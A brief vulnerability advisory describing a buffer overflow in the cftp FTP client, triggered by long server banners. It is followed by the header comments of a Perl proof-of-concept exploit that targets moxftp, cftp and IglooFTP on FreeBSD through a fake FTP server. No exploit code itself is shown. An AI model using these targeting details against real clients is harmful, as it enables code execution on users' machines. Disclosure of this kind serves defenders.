A buffer overflow vulnerability has been reported in cftp. The vulnerability occurs when cftp is parsing 'Welcome' banner messages from remote FTP servers. When cftp receives an FTP banner exceeding a certain length, it will trigger the overflow condition. This could allow for execution of malicious code in the context of the FTP client.

#!/usr/bin/perl

# PoC exploit for iglooftp, cftp and moxftp for freebsd

# moxftp / mftp 2.2
# cftp 0.12
# Iglooftp 0.6.1

# Some of the code is fucked, the passive connection is a cheap hack and will not
# respawn, so the fake ftpd will have to be restarted... (only IglooFTP)
# Some RET adr's change, this can be fixed with gdb, look into it yourself..

# all the clients are from ports.. some may have been fixed, did this shit some
# time ago..

# thanks to kokanin for help and advice
# code by inv[at]dtors
